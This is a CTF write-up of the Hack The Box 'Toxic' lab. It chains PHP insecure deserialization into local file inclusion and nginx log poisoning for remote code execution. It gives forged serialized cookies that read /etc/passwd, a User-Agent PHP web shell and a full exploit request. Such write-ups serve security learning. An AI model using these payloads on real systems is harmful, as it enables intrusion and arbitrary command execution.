This post documents my process for solving the Toxic box on Hack The Box. This box is all about PHP insecure deserialization, exploiting LFI, and using log poisoning to achieve remote code execution.
Synopsis
PHP insecure deserialization to LFI that abuses log poisoning for RCE.
Learning
References:
- https://ianpeter.medium.com/exploiting-log-poisoning-through-lfi-and-serialization-in-php-e039e7b126ad
- The official writeup
I wasn’t sure what to do at first, so I checked the writeup after struggling for a while.
Challenge Analysis & Source Code Review
The web page didn’t reveal much, but looking at the source code, you see:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
Since the challenge is about PHP’s insecure deserialization, unserialize()
is the dangerous function. It’s called directly on a user-controlled cookie.
The PageModel class:
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
When the PageModel object is destroyed, it includes whatever file is specified in $file
. By manipulating the serialized cookie, we can include arbitrary files!
LFI via Deserialization
Here’s how the cookie looks (after base64 decoding):
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
Change the file
path to another file, like /etc/passwd
:
O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}
Encode this string in base64, set it as your PHPSESSID, and refresh—if the byte count matches, you get the file contents.
Log Poisoning for RCE
To get code execution, exploit log poisoning:
- The server logs User-Agent headers to
/var/log/nginx/access.log
. - Send a request with a User-Agent payload:
<?php system($_GET['cmd']);?>
- Use the LFI (via the manipulated cookie) to include
/var/log/nginx/access.log
.
Cookie for LFI:
- Encoded data of:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
Request example:
GET /?cmd=cat+/flag_mTjJd HTTP/1.1
Host: 83.136.255.10:41451
User-Agent: <?php system($_GET['cmd']);?>
Cookie: PHPSESSID=<base64-of-LFI-payload>
Then, when you revisit the page with the malicious cookie and trigger the inclusion of the log file, the payload executes. You can use the cmd
GET parameter to execute arbitrary commands, such as:
ls /
cat flag_mTjJd
Sample output:
10.30.18.176 - 200 "GET /?cmd=cat+flag_mTjJd HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}"
Lessons Learned
- Insecure deserialization in PHP is extremely dangerous, especially when paired with magic methods like
__destruct()
. - Including user-controlled files leads to LFI and can be chained with log poisoning for code execution.
- Log poisoning works because web servers typically log unfiltered input, like User-Agent headers, which can be crafted to contain PHP code.
- Always check for serialized objects in cookies, magic methods, and file inclusions when reviewing CTF or real-world PHP apps.
Writeup based on my own exploitation process, with inspiration from CTF and security community references.